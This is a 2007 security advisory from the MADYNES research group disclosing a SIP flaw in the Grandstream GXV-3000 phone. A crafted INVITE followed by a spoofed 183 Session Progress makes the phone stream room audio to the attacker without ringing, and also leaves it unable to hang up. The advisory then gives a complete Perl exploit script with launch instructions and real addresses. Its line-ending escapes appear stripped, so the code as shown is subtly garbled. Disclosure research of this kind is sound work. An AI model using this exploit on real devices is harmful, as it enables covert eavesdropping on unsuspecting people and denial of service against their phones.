While playing with the SIP Madynes stateful fuzzer (for a description see http://hal.inria.fr/inria-00166947/en), we have realized that some SIP stack engines have serious bugs allowing to an attacker to automatically make a remote phone accept the call without ringing and without asking the user to take the phone from the hook, such that the attacker might be able to listen to all conversations that take place in the remote room without being noticed. One example that we can disclose (vendor was notified on 10 th May 2007) is the following: Grandstream SIP Phone GXV-3000 MADYNES Security Advisory : SIP remote attack on Grandstream SIP Phone GXV-3000 Date of Discovery 7 th May, 2007 ID: KIPH7 Background SIP is the IETF standardized (RFCs 2543 and 3261) protocol for VoIP signalization. SIP is an ASCII based INVITE message is used to initiate and maintain a communication session. Affected devices: Grandstream SIP Phone GXV-3000 with latest available firmware 1.0.1.7 Loader-- 1.0.0.6 Boot--1.0.0.18 Impact : A malicious user can remotely eavesdrop (a remote location) and perform DOS on a remote phone. Resolution Fixed software will be available from the vendor and customers following recommended best practices (ie segregating VOIP traffic from data) will be protected from malicious traffic in most situations. The vulnerability is based in a sequence of two messages, where both messages are syntactically right, but together they turn the device in an inconsistent state, where the RTP is now send to the attacker/ ougui at 152.81.48.94:5060 is the attacker 1005 at 152.81.48.88:5060 the attacked phone X ----------------------- INVITE -------------------> GXV-3000 X <------------------ 100 Trying ----------------- GXV-3000 X <--------------- 180 Ringing ------------------- GXV-3000 X ------------- 183 Session Progress -------> GXV-3000 X <-----------RTP - FLOW ------------------------ GXV-3000 After these messages the device is not able to hang up so a remote DOS can be also done Credits: * Humberto J. Abdelnur (Ph.D Student) * Radu State (Ph.D) * Olivier Festor (Ph.D) Exploit Code : To run the exploit the file Grandstream-GXV3000.pl should be launched (assuming our configurations) as: perl Grandstream-GXV3000.pl 152.81.48.88 5060 humbol 152.81.48.94 5060 ougui #!/usr/bin/perl use IO::Socket::INET; die "Usage $0 <dst> <port> <username> <src> <port> <username>" unless ($ARGV[5]); $socket=new IO::Socket::INET->new( Proto=>'udp', LocalPort => $ARGV[4], PeerPort=>$ARGV[1], PeerAddr=>$ARGV[0]); $sdp= "v=0r o=username 0 0 IN IP4 $ARGV[3]r s=The Funky Flowr c=IN IP4 $ARGV[3]r t=0 0r m=audio 33404 RTP/AVP 3 97 0 8r a=rtpmap:0 PCMU/8000r a=rtpmap:3 GSM/8000r a=rtpmap:8 PCMA/8000r a=rtpmap:97 iLBC/8000r a=fmtp:97 mode=30rn"; $sdplen= length $sdp; $msg= "INVITE sip:$ARGV[2]@$ARGV[0] SIP/2.0r Via: SIP/2.0/UDP $ARGV[3];branch=001;rport=$ARGV[4]r From: <sip:$ARGV[5]@$ARGV[3]>r To: <sip:$ARGV[2]@$ARGV[0]>r Contact: <sip:$ARGV[5]@$ARGV[3]>r Call-ID: ougui@$ARGV[3]r CSeq: 10419 INVITEr Max-Forwards: 70r Content-Type: application/sdpr Content-Length: $sdplenr r $sdp"; $socket->send($msg); sleep(3); $msg= "SIP/2.0 183 Session Progressr Via: SIP/2.0/UDP $ARGV[3];branch=001;rport=$ARGV[4]r From: <sip:$ARGV[5]@$ARGV[3]>r To: <sip:$ARGV[2]@$ARGV[0]>r Call-ID: ougui@$ARGV[3]r CSeq: 10419 INVITEr Max-Forwards: 70r Contact: <sip:$ARGV[5]@$ARGV[3]>r Content-Type: application/sdpr Content-Length: $sdplenr r $sdp"; $socket->send($msg);